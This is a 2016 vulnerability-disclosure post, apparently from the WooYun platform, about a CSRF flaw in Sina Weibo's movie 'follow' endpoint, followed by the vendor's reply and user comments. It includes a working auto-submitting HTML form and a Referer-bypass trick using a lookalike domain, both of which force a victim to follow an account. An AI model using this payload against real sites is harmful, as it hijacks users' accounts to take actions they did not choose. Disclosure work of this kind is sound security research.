新浪微博之点我的链接就关注我

http://movie.weibo.com/movie/webajax/follow 这个接口,没有严格控制好

虽然验证了Referer,但是可以绕过的啦

http://movie.weibo.com.xxxx.xxxx

POC:

<form action="http://movie.weibo.com/movie/webajax/follow" method="POST">
 <input type="hidden" name="uid" value="3883507663" />
 <input type="hidden" name="film&#95;id" value="1838263937" />
 <input type="hidden" name="type" value="relation" />
 <script> document.forms[0].submit(); </script>
 </form>

http://movie.weibo.com.sqlmap.cc/

用自己的域名测试下

出现

{"retcode":1,"retval":"/u5173/u6ce8/u6210/u529f"}

即关注成功~

吻我

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2016-03-07 15:05

厂商回复：

感谢关注新浪安全，安全问题修复中。

最新状态：

暂无

1. 2016-03-06 10:01 | 田老板 ( 路人 | Rank:30 漏洞数:13 | 学校杀手)

   1

   不点

   1# 回复此人

2. 2016-03-06 10:04 | socket ( 实习白帽子 | Rank:55 漏洞数:21 | )

   1

   新浪被你们找了好多次点连接关注了，，，怎么还有。。。

   2# 回复此人

3. 2016-03-06 11:05 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

   1

   目测2分

   3# 回复此人

4. 2016-03-06 11:27 | Chinalover ( 实习白帽子 | Rank:39 漏洞数:9 | 你看得到我打在屏幕上的字，却看不到我落在...)

   1

   我自己还留了个玩。。。但愿不要和我是同一个。。。

   4# 回复此人

5. 2016-03-06 11:57 | 凌晨G度 ( 路人 | Rank:7 漏洞数:2 | 充实的麦穗都是低着头，倒是那些空壳却昂着...)

   1

   试试你能不能打造微博粉丝数量的记录233

   5# 回复此人